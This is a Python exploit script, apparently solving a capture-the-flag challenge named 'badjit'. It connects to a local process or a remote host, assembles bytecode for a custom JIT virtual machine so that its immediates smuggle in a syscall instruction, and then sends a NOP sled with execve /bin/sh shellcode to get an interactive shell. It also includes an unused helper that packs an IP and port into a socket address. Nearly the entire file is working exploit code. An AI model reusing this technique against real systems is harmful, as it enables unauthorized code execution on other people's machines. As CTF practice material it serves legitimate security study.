1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114
| from pwncli import *
context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c'] local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
gift.elf = ELF(elf_path := './badjit') if local_flag == "remote": addr = '192.168.18.29:10000' ip, port = re.split(r'[\s:]+', addr) gift.io = remote(ip, port) else: gift.io = process(elf_path) gift.remote = local_flag in ("remote", "nodbg") init_x64_context(gift.io, gift) libc = load_libc()
cmd = ''' brva 0x1ABF7 ida c si ''' launch_gdb(cmd)
class VM: def __init__(self): self.code = b""
def add_reg(self, reg1, reg2): self.code += b'\x00' + p8(reg1) + p8(reg2) return self
def sub_reg(self, reg1, reg2): self.code += b'\x01' + p8(reg1) + p8(reg2) return self
def cmp_reg(self, reg1, reg2): self.code += b'\x03' + p8(reg1) + p8(reg2) return self
def add_imm(self, reg, imm): self.code += b'\x80' + p8(reg) + p32(imm) return self
def inj_code_add(self, reg, code): self.code += b'\x80' + p8(reg) + code return self
def inj_code_sub(self, reg, code): self.code += b'\x81' + p8(reg) + code return self
def get(self): return self.code
def addr_to_hex(addr_str): """ 输入格式: "172.18.11.18:11223" 输出格式: "0x120b12acd72b0002" """ try: ip, port = addr_str.strip().split(':') port = int(port)
data = struct.pack('<H', 2) + struct.pack('!H', port) + socket.inet_aton(ip)
val = struct.unpack('<Q', data)[0]
return f'0x{val:016x}' except Exception as e: print(f"转换错误: {e}") return None
vm = VM() vm.add_reg(1, 2) vm.add_reg(1, 2) vm.add_reg(1, 2) vm.add_reg(1, 2) vm.add_reg(1, 2) vm.sub_reg(0, 0) vm.sub_reg(4, 4) vm.sub_reg(5, 5) vm.add_reg(5, 1) vm.sub_reg(3, 3) vm.inj_code_add(3, b'\x90\x90\x0f\x05')
payload = vm.get()
sla(b'length', str(len(payload))) sa(b'input code', payload)
s(b'\x90' * 0x10 + ShellcodeMall.amd64.execve_bin_sh)
ia()
|